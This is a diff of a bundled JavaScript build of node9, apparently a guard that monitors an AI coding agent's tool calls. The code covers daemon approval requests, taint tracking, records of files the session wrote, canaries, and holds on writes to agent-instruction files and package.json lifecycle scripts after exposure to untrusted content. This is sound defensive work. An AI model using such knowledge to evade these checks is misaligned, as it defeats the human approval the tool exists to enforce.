const b = body;
|
|
16550
|
+
return {
|
|
16551
|
+
id: b.id,
|
|
16552
|
+
allowCount: b.allowCount ?? 1,
|
|
16553
|
+
...b.protocol === CARD_PROTOCOL && {
|
|
16554
|
+
protocol: CARD_PROTOCOL,
|
|
16555
|
+
deadline: typeof b.deadline === "number" ? b.deadline : null
|
|
16556
|
+
}
|
|
16557
|
+
};
|
|
16558
|
+
}
|
|
15480
16559
|
async function waitForDaemonDecision(id, signal, maxWaitMs = 12e4) {
|
|
15481
|
-
const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
|
|
15482
16560
|
const waitCtrl = new AbortController();
|
|
15483
16561
|
let capped = false;
|
|
15484
16562
|
const waitTimer = maxWaitMs > 0 ? setTimeout(() => {
|
|
@@ -15488,14 +16566,18 @@ async function waitForDaemonDecision(id, signal, maxWaitMs = 12e4) {
|
|
|
15488
16566
|
const onAbort = () => waitCtrl.abort();
|
|
15489
16567
|
if (signal) signal.addEventListener("abort", onAbort);
|
|
15490
16568
|
try {
|
|
15491
|
-
const
|
|
16569
|
+
const { status, body } = await daemonGet(`/wait/${id}`, waitCtrl.signal).catch(
|
|
15492
16570
|
(err) => {
|
|
15493
16571
|
if (capped && !signal?.aborted) throw new Error("node9 daemon did not answer in time");
|
|
15494
16572
|
throw err;
|
|
15495
16573
|
}
|
|
15496
16574
|
);
|
|
15497
|
-
if (
|
|
15498
|
-
|
|
16575
|
+
if (status === 409) throw new Error("node9 card was withdrawn");
|
|
16576
|
+
if (status !== 200) return { decision: "deny" };
|
|
16577
|
+
const parsed = JSON.parse(body);
|
|
16578
|
+
const record = parseDecisionRecord(parsed.record);
|
|
16579
|
+
if (record) return { ...legacyWaitFields(record), record };
|
|
16580
|
+
const { decision, source, reason } = parsed;
|
|
15499
16581
|
if (decision === "allow") return { decision: "allow", source };
|
|
15500
16582
|
if (decision === "abandoned") return { decision: "abandoned", source };
|
|
15501
16583
|
return { decision: "deny", source, reason };
|
|
@@ -15504,7 +16586,29 @@ async function waitForDaemonDecision(id, signal, maxWaitMs = 12e4) {
|
|
|
15504
16586
|
if (signal) signal.removeEventListener("abort", onAbort);
|
|
15505
16587
|
}
|
|
15506
16588
|
}
|
|
15507
|
-
|
|
16589
|
+
function daemonGet(urlPath, signal, token = getInternalToken()) {
|
|
16590
|
+
return new Promise((resolve, reject) => {
|
|
16591
|
+
const req = import_http.default.get(
|
|
16592
|
+
{
|
|
16593
|
+
host: DAEMON_HOST,
|
|
16594
|
+
port: DAEMON_PORT,
|
|
16595
|
+
path: urlPath,
|
|
16596
|
+
signal,
|
|
16597
|
+
agent: false,
|
|
16598
|
+
headers: token ? { "X-Node9-Internal": token } : {}
|
|
16599
|
+
},
|
|
16600
|
+
(res) => {
|
|
16601
|
+
let body = "";
|
|
16602
|
+
res.setEncoding("utf8");
|
|
16603
|
+
res.on("data", (chunk) => body += chunk);
|
|
16604
|
+
res.on("end", () => resolve({ status: res.statusCode ?? 0, body }));
|
|
16605
|
+
res.on("error", reject);
|
|
16606
|
+
}
|
|
16607
|
+
);
|
|
16608
|
+
req.on("error", reject);
|
|
16609
|
+
});
|
|
16610
|
+
}
|
|
16611
|
+
async function notifyDaemonViewer(toolName, args, meta, riskMetadata, activityId, socketActivitySent, extra) {
|
|
15508
16612
|
const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
|
|
15509
16613
|
const res = await fetch(`${base2}/check`, {
|
|
15510
16614
|
method: "POST",
|
|
@@ -15520,13 +16624,16 @@ async function notifyDaemonViewer(toolName, args, meta, riskMetadata, activityId
|
|
|
15520
16624
|
// event via socket. Same contract as registerDaemonEntry — without
|
|
15521
16625
|
// it the daemon double-emits 'activity' for cloud-enforced flows.
|
|
15522
16626
|
fromCLI: socketActivitySent !== false,
|
|
15523
|
-
activityId
|
|
16627
|
+
activityId,
|
|
16628
|
+
...extra?.cwd && { cwd: extra.cwd },
|
|
16629
|
+
...extra?.recoveryCommand && { recoveryCommand: extra.recoveryCommand },
|
|
16630
|
+
...extra?.sessionId && { sessionId: extra.sessionId },
|
|
16631
|
+
...cardFields(extra?.card)
|
|
15524
16632
|
}),
|
|
15525
16633
|
signal: AbortSignal.timeout(3e3)
|
|
15526
16634
|
});
|
|
15527
16635
|
if (!res.ok) throw new Error("Daemon unreachable");
|
|
15528
|
-
|
|
15529
|
-
return { id, allowCount: allowCount ?? 1 };
|
|
16636
|
+
return registeredCard(await res.json());
|
|
15530
16637
|
}
|
|
15531
16638
|
async function notifyTaint(filePath, source, fromEid) {
|
|
15532
16639
|
if (!isDaemonRunning()) return;
|
|
@@ -15568,6 +16675,38 @@ async function checkTaint(paths) {
|
|
|
15568
16675
|
return { tainted: false, daemonUnavailable: true };
|
|
15569
16676
|
}
|
|
15570
16677
|
}
|
|
16678
|
+
async function notifyWritten(paths) {
|
|
16679
|
+
if (paths.length === 0 || !isDaemonRunning()) return;
|
|
16680
|
+
const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
|
|
16681
|
+
try {
|
|
16682
|
+
await fetch(`${base2}/written`, {
|
|
16683
|
+
method: "POST",
|
|
16684
|
+
headers: exposureHeaders(),
|
|
16685
|
+
body: JSON.stringify({ paths: paths.slice(0, 64) }),
|
|
16686
|
+
signal: AbortSignal.timeout(1e3)
|
|
16687
|
+
});
|
|
16688
|
+
} catch {
|
|
16689
|
+
}
|
|
16690
|
+
}
|
|
16691
|
+
async function checkWritten(paths) {
|
|
16692
|
+
if (paths.length === 0) return { written: [] };
|
|
16693
|
+
if (!isDaemonRunning()) return { written: [], daemonUnavailable: true };
|
|
16694
|
+
const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
|
|
16695
|
+
try {
|
|
16696
|
+
const res = await fetch(`${base2}/written/check`, {
|
|
16697
|
+
method: "POST",
|
|
16698
|
+
headers: exposureHeaders(),
|
|
16699
|
+
body: JSON.stringify({ paths: paths.slice(0, 64) }),
|
|
16700
|
+
signal: AbortSignal.timeout(2e3)
|
|
16701
|
+
});
|
|
16702
|
+
const body = await res.json();
|
|
16703
|
+
return {
|
|
16704
|
+
written: Array.isArray(body.written) ? body.written.filter((p) => typeof p === "string") : []
|
|
16705
|
+
};
|
|
16706
|
+
} catch {
|
|
16707
|
+
return { written: [], daemonUnavailable: true };
|
|
16708
|
+
}
|
|
16709
|
+
}
|
|
15571
16710
|
async function checkSessionTaint(sessionId) {
|
|
15572
16711
|
if (!sessionId || !isDaemonRunning()) return { tainted: false };
|
|
15573
16712
|
const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
|
|
@@ -15619,19 +16758,23 @@ async function approveSessionExposure(sessionId, keys) {
|
|
|
15619
16758
|
} catch {
|
|
15620
16759
|
}
|
|
15621
16760
|
}
|
|
15622
|
-
async function resolveViaDaemon(id, decision, internalToken, source) {
|
|
16761
|
+
async function resolveViaDaemon(id, decision, internalToken, source, record) {
|
|
15623
16762
|
const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
|
|
15624
|
-
await fetch(`${base2}/resolve/${id}`, {
|
|
16763
|
+
const res = await fetch(`${base2}/resolve/${id}`, {
|
|
15625
16764
|
method: "POST",
|
|
15626
16765
|
headers: { "Content-Type": "application/json", "X-Node9-Internal": internalToken },
|
|
15627
|
-
body: JSON.stringify({ decision, ...source && { source } }),
|
|
16766
|
+
body: JSON.stringify({ decision, ...source && { source }, ...record && { record } }),
|
|
15628
16767
|
signal: AbortSignal.timeout(3e3)
|
|
15629
16768
|
});
|
|
16769
|
+
if (!res.ok) return null;
|
|
16770
|
+
const body = await res.json().catch(() => null);
|
|
16771
|
+
const winner = parseDecisionRecord(body?.record);
|
|
16772
|
+
return winner && typeof body?.won === "boolean" ? { won: body.won, record: winner } : null;
|
|
15630
16773
|
}
|
|
15631
16774
|
|
|
15632
16775
|
// src/auth/orchestrator.ts
|
|
15633
16776
|
var import_crypto10 = require("crypto");
|
|
15634
|
-
var
|
|
16777
|
+
var import_os19 = __toESM(require("os"));
|
|
15635
16778
|
|
|
15636
16779
|
// src/ui/native.ts
|
|
15637
16780
|
var import_child_process = require("child_process");
|
|
@@ -16056,6 +17199,98 @@ function canaryValues() {
|
|
|
16056
17199
|
return loadCanaries().map((r) => ({ id: r.id, value: r.value, retired: Boolean(r.retiredAt) }));
|
|
16057
17200
|
}
|
|
16058
17201
|
|
|
17202
|
+
// src/auth/orchestrator.ts
|
|
17203
|
+
init_dist();
|
|
17204
|
+
|
|
17205
|
+
// src/auth/session-script.ts
|
|
17206
|
+
var import_fs13 = __toESM(require("fs"));
|
|
17207
|
+
var import_os11 = __toESM(require("os"));
|
|
17208
|
+
var import_path15 = __toESM(require("path"));
|
|
17209
|
+
init_dist();
|
|
17210
|
+
var MAX_SCRIPT_BYTES = 64 * 1024;
|
|
17211
|
+
var MAX_RECORDED_WRITES = 32;
|
|
17212
|
+
function readScriptFile(resolved) {
|
|
17213
|
+
let fd;
|
|
17214
|
+
try {
|
|
17215
|
+
fd = import_fs13.default.openSync(resolved, import_fs13.default.constants.O_RDONLY | (import_fs13.default.constants.O_NONBLOCK ?? 0));
|
|
17216
|
+
const st = import_fs13.default.fstatSync(fd);
|
|
17217
|
+
if (!st.isFile() || st.size > MAX_SCRIPT_BYTES) return null;
|
|
17218
|
+
const buf = Buffer.alloc(MAX_SCRIPT_BYTES + 1);
|
|
17219
|
+
let n = 0;
|
|
17220
|
+
while (n < buf.length) {
|
|
17221
|
+
const got = import_fs13.default.readSync(fd, buf, n, buf.length - n, n);
|
|
17222
|
+
if (got === 0) break;
|
|
17223
|
+
n += got;
|
|
17224
|
+
}
|
|
17225
|
+
if (n > MAX_SCRIPT_BYTES) return null;
|
|
17226
|
+
return buf.subarray(0, n).toString("utf8");
|
|
17227
|
+
} catch {
|
|
17228
|
+
return null;
|
|
17229
|
+
} finally {
|
|
17230
|
+
if (fd !== void 0) {
|
|
17231
|
+
try {
|
|
17232
|
+
import_fs13.default.closeSync(fd);
|
|
17233
|
+
} catch {
|
|
17234
|
+
}
|
|
17235
|
+
}
|
|
17236
|
+
}
|
|
17237
|
+
}
|
|
17238
|
+
function absolute(p, cwd, home) {
|
|
17239
|
+
const spelled = p === "~" || p.startsWith("~/") ? home + p.slice(1) : p;
|
|
17240
|
+
return import_path15.default.resolve(cwd, spelled);
|
|
17241
|
+
}
|
|
17242
|
+
async function resolveSessionScript(toolName, args, cwd, layers, deps, home = import_os11.default.homedir()) {
|
|
17243
|
+
try {
|
|
17244
|
+
const d = deps ?? { checkWritten, readScript: readScriptFile };
|
|
17245
|
+
const shell = resolveShellInput(toolName, args, layers);
|
|
17246
|
+
if (shell.kind !== "shell") return null;
|
|
17247
|
+
const operands2 = shellScriptOperands(shell.command);
|
|
17248
|
+
if (operands2.length === 0) return null;
|
|
17249
|
+
const base2 = cwd ?? process.cwd();
|
|
17250
|
+
const byResolved = /* @__PURE__ */ new Map();
|
|
17251
|
+
for (const op of operands2) byResolved.set(absolute(op, base2, home), op);
|
|
17252
|
+
const { written } = await d.checkWritten([...byResolved.keys()]);
|
|
17253
|
+
for (const resolved of written) {
|
|
17254
|
+
const spelled = byResolved.get(resolved);
|
|
17255
|
+
if (spelled === void 0) continue;
|
|
17256
|
+
const content = d.readScript(resolved);
|
|
17257
|
+
if (content === null || content.trim() === "") continue;
|
|
17258
|
+
const scriptArgs = { command: content };
|
|
17259
|
+
return {
|
|
17260
|
+
path: spelled,
|
|
17261
|
+
resolved,
|
|
17262
|
+
args: scriptArgs,
|
|
17263
|
+
fileAccess: prepareFileAccesses("Bash", scriptArgs, base2, layers, home)
|
|
17264
|
+
};
|
|
17265
|
+
}
|
|
17266
|
+
return null;
|
|
17267
|
+
} catch {
|
|
17268
|
+
return null;
|
|
17269
|
+
}
|
|
17270
|
+
}
|
|
17271
|
+
function sessionWriteTargets(toolName, args, fileAccess, cwd, home = import_os11.default.homedir()) {
|
|
17272
|
+
const base2 = cwd ?? process.cwd();
|
|
17273
|
+
const out = /* @__PURE__ */ new Set();
|
|
17274
|
+
const argsObj = args && typeof args === "object" ? args : {};
|
|
17275
|
+
const named = argsObj.file_path ?? argsObj.path ?? argsObj.filename;
|
|
17276
|
+
if (typeof named === "string" && named && /write|edit|create|save|append/i.test(toolName))
|
|
17277
|
+
out.add(absolute(named, base2, home));
|
|
17278
|
+
for (const a of fileAccess?.accesses ?? []) {
|
|
17279
|
+
if (a.operation !== "write" && a.operation !== "create") continue;
|
|
17280
|
+
if (a.glob || a.recursive) continue;
|
|
17281
|
+
out.add(absolute(a.path, a.cwd ?? base2, home));
|
|
17282
|
+
if (out.size >= MAX_RECORDED_WRITES) break;
|
|
17283
|
+
}
|
|
17284
|
+
return [...out];
|
|
17285
|
+
}
|
|
17286
|
+
async function recordSessionWrites(toolName, args, fileAccess, cwd) {
|
|
17287
|
+
try {
|
|
17288
|
+
const targets = sessionWriteTargets(toolName, args, fileAccess, cwd);
|
|
17289
|
+
if (targets.length) await notifyWritten(targets);
|
|
17290
|
+
} catch {
|
|
17291
|
+
}
|
|
17292
|
+
}
|
|
17293
|
+
|
|
16059
17294
|
// src/auth/orchestrator.ts
|
|
16060
17295
|
init_dist();
|
|
16061
17296
|
init_dist();
|
|
@@ -16063,26 +17298,26 @@ init_audit();
|
|
|
16063
17298
|
init_dist();
|
|
16064
17299
|
|
|
16065
17300
|
// src/exposure/known-hosts.ts
|
|
16066
|
-
var
|
|
16067
|
-
var
|
|
17301
|
+
var import_fs15 = __toESM(require("fs"));
|
|
17302
|
+
var import_path17 = __toESM(require("path"));
|
|
16068
17303
|
|
|
16069
17304
|
// src/utils/git-remotes.ts
|
|
16070
|
-
var
|
|
16071
|
-
var
|
|
17305
|
+
var import_fs14 = __toESM(require("fs"));
|
|
17306
|
+
var import_path16 = __toESM(require("path"));
|
|
16072
17307
|
init_dist();
|
|
16073
17308
|
function readSmallFile(p, max) {
|
|
16074
17309
|
let fd;
|
|
16075
17310
|
try {
|
|
16076
|
-
fd =
|
|
16077
|
-
const st =
|
|
17311
|
+
fd = import_fs14.default.openSync(p, import_fs14.default.constants.O_RDONLY | (import_fs14.default.constants.O_NOFOLLOW ?? 0));
|
|
17312
|
+
const st = import_fs14.default.fstatSync(fd);
|
|
16078
17313
|
if (!st.isFile() || st.size > max) return null;
|
|
16079
17314
|
const buf = Buffer.alloc(st.size);
|
|
16080
|
-
const n =
|
|
17315
|
+
const n = import_fs14.default.readSync(fd, buf, 0, st.size, 0);
|
|
16081
17316
|
return buf.subarray(0, n).toString("utf8");
|
|
16082
17317
|
} catch {
|
|
16083
17318
|
return null;
|
|
16084
17319
|
} finally {
|
|
16085
|
-
if (fd !== void 0)
|
|
17320
|
+
if (fd !== void 0) import_fs14.default.closeSync(fd);
|
|
16086
17321
|
}
|
|
16087
17322
|
}
|
|
16088
17323
|
function gitRemoteHost(url) {
|
|
@@ -16101,20 +17336,20 @@ function gitRemoteHost(url) {
|
|
|
16101
17336
|
return null;
|
|
16102
17337
|
}
|
|
16103
17338
|
function findGitConfig(dir2, walkUp = true) {
|
|
16104
|
-
let cur =
|
|
17339
|
+
let cur = import_path16.default.resolve(dir2);
|
|
16105
17340
|
for (let i = 0; i < (walkUp ? 64 : 1); i++) {
|
|
16106
|
-
const dotGit =
|
|
16107
|
-
const direct = readSmallFile(
|
|
17341
|
+
const dotGit = import_path16.default.join(cur, ".git");
|
|
17342
|
+
const direct = readSmallFile(import_path16.default.join(dotGit, "config"), 1e6);
|
|
16108
17343
|
if (direct !== null) return direct;
|
|
16109
17344
|
const pointer = readSmallFile(dotGit, 4096);
|
|
16110
17345
|
const m = pointer && /^gitdir:\s*(.+?)\s*$/m.exec(pointer);
|
|
16111
17346
|
if (m) {
|
|
16112
|
-
let gitDir =
|
|
16113
|
-
const common = readSmallFile(
|
|
16114
|
-
if (common !== null) gitDir =
|
|
16115
|
-
return readSmallFile(
|
|
17347
|
+
let gitDir = import_path16.default.resolve(cur, m[1]);
|
|
17348
|
+
const common = readSmallFile(import_path16.default.join(gitDir, "commondir"), 4096);
|
|
17349
|
+
if (common !== null) gitDir = import_path16.default.resolve(gitDir, common.trim());
|
|
17350
|
+
return readSmallFile(import_path16.default.join(gitDir, "config"), 1e6);
|
|
16116
17351
|
}
|
|
16117
|
-
const parent =
|
|
17352
|
+
const parent = import_path16.default.dirname(cur);
|
|
16118
17353
|
if (parent === cur) return null;
|
|
16119
17354
|
cur = parent;
|
|
16120
17355
|
}
|
|
@@ -16124,12 +17359,12 @@ var cache = /* @__PURE__ */ new Map();
|
|
|
16124
17359
|
function readGitRemotes(dir2, opts = {}) {
|
|
16125
17360
|
if (!dir2) return [];
|
|
16126
17361
|
const walkUp = opts.walkUp !== false;
|
|
16127
|
-
const key = `${walkUp ? "up" : "at"}:${
|
|
17362
|
+
const key = `${walkUp ? "up" : "at"}:${import_path16.default.resolve(dir2)}`;
|
|
16128
17363
|
const hit = cache.get(key);
|
|
16129
17364
|
if (hit) return hit;
|
|
16130
17365
|
const out = [];
|
|
16131
17366
|
try {
|
|
16132
|
-
const cfg = findGitConfig(
|
|
17367
|
+
const cfg = findGitConfig(import_path16.default.resolve(dir2), walkUp);
|
|
16133
17368
|
if (cfg !== null) {
|
|
16134
17369
|
let current = null;
|
|
16135
17370
|
for (const line of cfg.split(/\r?\n/)) {
|
|
@@ -16165,15 +17400,15 @@ var ECOSYSTEMS = [
|
|
|
16165
17400
|
];
|
|
16166
17401
|
var cache2 = /* @__PURE__ */ new Map();
|
|
16167
17402
|
function manifestRoot(dir2) {
|
|
16168
|
-
let cur =
|
|
17403
|
+
let cur = import_path17.default.resolve(dir2);
|
|
16169
17404
|
for (let i = 0; i < 64; i++) {
|
|
16170
17405
|
for (const [m] of ECOSYSTEMS) {
|
|
16171
17406
|
try {
|
|
16172
|
-
if (
|
|
17407
|
+
if (import_fs15.default.existsSync(import_path17.default.join(cur, m))) return cur;
|
|
16173
17408
|
} catch {
|
|
16174
17409
|
}
|
|
16175
17410
|
}
|
|
16176
|
-
const parent =
|
|
17411
|
+
const parent = import_path17.default.dirname(cur);
|
|
16177
17412
|
if (parent === cur) return null;
|
|
16178
17413
|
cur = parent;
|
|
16179
17414
|
}
|
|
@@ -16182,7 +17417,7 @@ function manifestRoot(dir2) {
|
|
|
16182
17417
|
function knownProjectHosts(dir2) {
|
|
16183
17418
|
const empty = { hosts: /* @__PURE__ */ new Set(), repos: /* @__PURE__ */ new Set(), remotes: /* @__PURE__ */ new Map() };
|
|
16184
17419
|
if (!dir2) return empty;
|
|
16185
|
-
const key =
|
|
17420
|
+
const key = import_path17.default.resolve(dir2);
|
|
16186
17421
|
const hit = cache2.get(key);
|
|
16187
17422
|
if (hit) return hit;
|
|
16188
17423
|
const out = { hosts: /* @__PURE__ */ new Set(), repos: /* @__PURE__ */ new Set(), remotes: /* @__PURE__ */ new Map() };
|
|
@@ -16195,10 +17430,10 @@ function knownProjectHosts(dir2) {
|
|
|
16195
17430
|
const root = manifestRoot(key);
|
|
16196
17431
|
if (root !== null) {
|
|
16197
17432
|
for (const [m, registry] of ECOSYSTEMS) {
|
|
16198
|
-
if (
|
|
17433
|
+
if (import_fs15.default.existsSync(import_path17.default.join(root, m))) out.hosts.add(registry);
|
|
16199
17434
|
}
|
|
16200
17435
|
try {
|
|
16201
|
-
if (
|
|
17436
|
+
if (import_fs15.default.readdirSync(root).some((f) => f.endsWith(".gemspec")))
|
|
16202
17437
|
out.hosts.add("host:rubygems.org");
|
|
16203
17438
|
} catch {
|
|
16204
17439
|
}
|
|
@@ -16210,9 +17445,9 @@ function knownProjectHosts(dir2) {
|
|
|
16210
17445
|
}
|
|
16211
17446
|
|
|
16212
17447
|
// src/exposure/writes.ts
|
|
16213
|
-
var
|
|
16214
|
-
var
|
|
16215
|
-
var
|
|
17448
|
+
var import_fs16 = __toESM(require("fs"));
|
|
17449
|
+
var import_os12 = __toESM(require("os"));
|
|
17450
|
+
var import_path18 = __toESM(require("path"));
|
|
16216
17451
|
init_dist();
|
|
16217
17452
|
var WRITE_OPS = /* @__PURE__ */ new Set(["write", "create", "remove"]);
|
|
16218
17453
|
var LIFECYCLE_RE = /"(scripts|preinstall|install|postinstall|prepare|prepublish|prepublishOnly|prepack|postpack|publish|postpublish)"\s*:/;
|
|
@@ -16242,7 +17477,7 @@ function packageScriptsTouched(args, absPath, shellCommand) {
|
|
|
16242
17477
|
if (typeof a.content === "string") {
|
|
16243
17478
|
try {
|
|
16244
17479
|
const next = JSON.parse(a.content);
|
|
16245
|
-
const prev = JSON.parse(
|
|
17480
|
+
const prev = JSON.parse(import_fs16.default.readFileSync(absPath, "utf8"));
|
|
16246
17481
|
return JSON.stringify(next.scripts ?? null) !== JSON.stringify(prev.scripts ?? null);
|
|
16247
17482
|
} catch {
|
|
16248
17483
|
return LIFECYCLE_RE.test(a.content);
|
|
@@ -16252,8 +17487,8 @@ function packageScriptsTouched(args, absPath, shellCommand) {
|
|
|
16252
17487
|
}
|
|
16253
17488
|
function judgeWritesAfterExposure(opts) {
|
|
16254
17489
|
const holds = [];
|
|
16255
|
-
const home = opts.home ??
|
|
16256
|
-
const tmp = normalizeFilePath(
|
|
17490
|
+
const home = opts.home ?? import_os12.default.homedir();
|
|
17491
|
+
const tmp = normalizeFilePath(import_os12.default.tmpdir());
|
|
16257
17492
|
const root = opts.cwd ? normalizeFilePath(opts.cwd, "", home) : null;
|
|
16258
17493
|
const seen = /* @__PURE__ */ new Set();
|
|
16259
17494
|
for (const access of opts.accesses) {
|
|
@@ -16263,7 +17498,7 @@ function judgeWritesAfterExposure(opts) {
|
|
|
16263
17498
|
seen.add(p);
|
|
16264
17499
|
if (p === "/dev" || p.startsWith("/dev/")) continue;
|
|
16265
17500
|
if (root !== null && isInside(root, p)) {
|
|
16266
|
-
if (isAgentInstructionPath(p, root) && (
|
|
17501
|
+
if (isAgentInstructionPath(p, root) && (import_path18.default.basename(p) !== "package.json" || packageScriptsTouched(opts.args, p, opts.shellCommand)))
|
|
16267
17502
|
holds.push({ path: p, why: "agent-instruction" });
|
|
16268
17503
|
continue;
|
|
16269
17504
|
}
|
|
@@ -16285,25 +17520,25 @@ function judgeWritesAfterExposure(opts) {
|
|
|
16285
17520
|
|
|
16286
17521
|
// src/exposure/marker.ts
|
|
16287
17522
|
var import_crypto8 = __toESM(require("crypto"));
|
|
16288
|
-
var
|
|
16289
|
-
var
|
|
16290
|
-
var
|
|
17523
|
+
var import_fs17 = __toESM(require("fs"));
|
|
17524
|
+
var import_os13 = __toESM(require("os"));
|
|
17525
|
+
var import_path19 = __toESM(require("path"));
|
|
16291
17526
|
|
|
16292
17527
|
// src/daemon/exposure-store.ts
|
|
16293
17528
|
var SESSION_EXPOSURE_TTL_MS = 4 * 60 * 60 * 1e3;
|
|
16294
17529
|
|
|
16295
17530
|
// src/exposure/marker.ts
|
|
16296
17531
|
function dir() {
|
|
16297
|
-
return
|
|
17532
|
+
return import_path19.default.join(import_os13.default.homedir(), ".node9", "exposure-sessions");
|
|
16298
17533
|
}
|
|
16299
17534
|
function file(sessionId) {
|
|
16300
17535
|
const id = import_crypto8.default.createHash("sha256").update(sessionId).digest("hex").slice(0, 32);
|
|
16301
|
-
return
|
|
17536
|
+
return import_path19.default.join(dir(), id);
|
|
16302
17537
|
}
|
|
16303
17538
|
function maybeSessionExposed(sessionId) {
|
|
16304
17539
|
if (!sessionId) return false;
|
|
16305
17540
|
try {
|
|
16306
|
-
const st =
|
|
17541
|
+
const st = import_fs17.default.statSync(file(sessionId));
|
|
16307
17542
|
return Date.now() - st.mtimeMs < SESSION_EXPOSURE_TTL_MS;
|
|
16308
17543
|
} catch (e) {
|
|
16309
17544
|
return e.code !== "ENOENT";
|
|
@@ -16311,20 +17546,20 @@ function maybeSessionExposed(sessionId) {
|
|
|
16311
17546
|
}
|
|
16312
17547
|
|
|
16313
17548
|
// src/exposure/roles.ts
|
|
16314
|
-
var
|
|
17549
|
+
var import_fs19 = __toESM(require("fs"));
|
|
16315
17550
|
|
|
16316
17551
|
// src/daemon/mcp-tools.ts
|
|
16317
|
-
var
|
|
16318
|
-
var
|
|
16319
|
-
var
|
|
17552
|
+
var import_fs18 = __toESM(require("fs"));
|
|
17553
|
+
var import_path20 = __toESM(require("path"));
|
|
17554
|
+
var import_os14 = __toESM(require("os"));
|
|
16320
17555
|
function getMcpToolsFile() {
|
|
16321
|
-
return
|
|
17556
|
+
return import_path20.default.join(import_os14.default.homedir(), ".node9", "mcp-tools.json");
|
|
16322
17557
|
}
|
|
16323
17558
|
function readMcpToolsConfig() {
|
|
16324
17559
|
try {
|
|
16325
17560
|
const file2 = getMcpToolsFile();
|
|
16326
|
-
if (!
|
|
16327
|
-
const raw =
|
|
17561
|
+
if (!import_fs18.default.existsSync(file2)) return {};
|
|
17562
|
+
const raw = import_fs18.default.readFileSync(file2, "utf-8");
|
|
16328
17563
|
return JSON.parse(raw);
|
|
16329
17564
|
} catch {
|
|
16330
17565
|
return {};
|
|
@@ -16341,7 +17576,7 @@ var inventoryCache = null;
|
|
|
16341
17576
|
var inventoryStamp = null;
|
|
16342
17577
|
function inventoryFileStamp() {
|
|
16343
17578
|
try {
|
|
16344
|
-
const st =
|
|
17579
|
+
const st = import_fs19.default.statSync(getMcpToolsFile());
|
|
16345
17580
|
return `${st.mtimeMs}:${st.size}`;
|
|
16346
17581
|
} catch {
|
|
16347
17582
|
return "";
|
|
@@ -16425,16 +17660,16 @@ function sourceWord(toolName) {
|
|
|
16425
17660
|
}
|
|
16426
17661
|
|
|
16427
17662
|
// src/auth/trusted-recipients.ts
|
|
16428
|
-
var
|
|
16429
|
-
var
|
|
16430
|
-
var
|
|
17663
|
+
var import_fs20 = __toESM(require("fs"));
|
|
17664
|
+
var import_path21 = __toESM(require("path"));
|
|
17665
|
+
var import_os15 = __toESM(require("os"));
|
|
16431
17666
|
init_dist();
|
|
16432
17667
|
function getTrustedRecipientsPath() {
|
|
16433
|
-
return
|
|
17668
|
+
return import_path21.default.join(import_os15.default.homedir(), ".node9", "trusted-recipients.json");
|
|
16434
17669
|
}
|
|
16435
17670
|
function readTrustedRecipients() {
|
|
16436
17671
|
try {
|
|
16437
|
-
const raw =
|
|
17672
|
+
const raw = import_fs20.default.readFileSync(getTrustedRecipientsPath(), "utf8");
|
|
16438
17673
|
const parsed = JSON.parse(raw);
|
|
16439
17674
|
return Array.isArray(parsed.entries) ? parsed.entries.filter((e) => e && typeof e.value === "string") : [];
|
|
16440
17675
|
} catch {
|
|
@@ -16443,10 +17678,10 @@ function readTrustedRecipients() {
|
|
|
16443
17678
|
}
|
|
16444
17679
|
function writeTrustedRecipients(entries) {
|
|
16445
17680
|
const filePath = getTrustedRecipientsPath();
|
|
16446
|
-
|
|
17681
|
+
import_fs20.default.mkdirSync(import_path21.default.dirname(filePath), { recursive: true });
|
|
16447
17682
|
const tmp = filePath + ".node9-tmp";
|
|
16448
|
-
|
|
16449
|
-
|
|
17683
|
+
import_fs20.default.writeFileSync(tmp, JSON.stringify({ entries }, null, 2), { mode: 384 });
|
|
17684
|
+
import_fs20.default.renameSync(tmp, filePath);
|
|
16450
17685
|
}
|
|
16451
17686
|
function addTrustedRecipient(raw, addedBy = "user") {
|
|
16452
17687
|
const value = normalizeRecipient(raw);
|
|
@@ -16461,7 +17696,7 @@ function addTrustedRecipient(raw, addedBy = "user") {
|
|
|
16461
17696
|
var cache3 = null;
|
|
16462
17697
|
function mtimeOf() {
|
|
16463
17698
|
try {
|
|
16464
|
-
return
|
|
17699
|
+
return import_fs20.default.statSync(getTrustedRecipientsPath()).mtimeMs;
|
|
16465
17700
|
} catch {
|
|
16466
17701
|
return 0;
|
|
16467
17702
|
}
|
|
@@ -16475,29 +17710,29 @@ function isTrustedRecipient(value) {
|
|
|
16475
17710
|
}
|
|
16476
17711
|
|
|
16477
17712
|
// src/auth/cloud.ts
|
|
16478
|
-
var
|
|
16479
|
-
var
|
|
16480
|
-
var
|
|
17713
|
+
var import_fs22 = __toESM(require("fs"));
|
|
17714
|
+
var import_os16 = __toESM(require("os"));
|
|
17715
|
+
var import_path22 = __toESM(require("path"));
|
|
16481
17716
|
init_audit();
|
|
16482
17717
|
|
|
16483
17718
|
// src/utils/read-capped.ts
|
|
16484
|
-
var
|
|
17719
|
+
var import_fs21 = __toESM(require("fs"));
|
|
16485
17720
|
function readCapped(file2, maxBytes) {
|
|
16486
17721
|
if (maxBytes < 0) return null;
|
|
16487
17722
|
let fd;
|
|
16488
17723
|
try {
|
|
16489
|
-
fd =
|
|
17724
|
+
fd = import_fs21.default.openSync(file2, "r");
|
|
16490
17725
|
} catch {
|
|
16491
17726
|
return null;
|
|
16492
17727
|
}
|
|
16493
17728
|
try {
|
|
16494
|
-
const st =
|
|
17729
|
+
const st = import_fs21.default.fstatSync(fd);
|
|
16495
17730
|
if (!st.isFile()) return null;
|
|
16496
17731
|
const want = Math.min(st.size, maxBytes + 1);
|
|
16497
17732
|
const buf = Buffer.alloc(want);
|
|
16498
17733
|
let read = 0;
|
|
16499
17734
|
while (read < want) {
|
|
16500
|
-
const n =
|
|
17735
|
+
const n = import_fs21.default.readSync(fd, buf, read, want - read, read);
|
|
16501
17736
|
if (n <= 0) break;
|
|
16502
17737
|
read += n;
|
|
16503
17738
|
}
|
|
@@ -16509,7 +17744,7 @@ function readCapped(file2, maxBytes) {
|
|
|
16509
17744
|
return null;
|
|
16510
17745
|
} finally {
|
|
16511
17746
|
try {
|
|
16512
|
-
|
|
17747
|
+
import_fs21.default.closeSync(fd);
|
|
16513
17748
|
} catch {
|
|
16514
17749
|
}
|
|
16515
17750
|
}
|
|
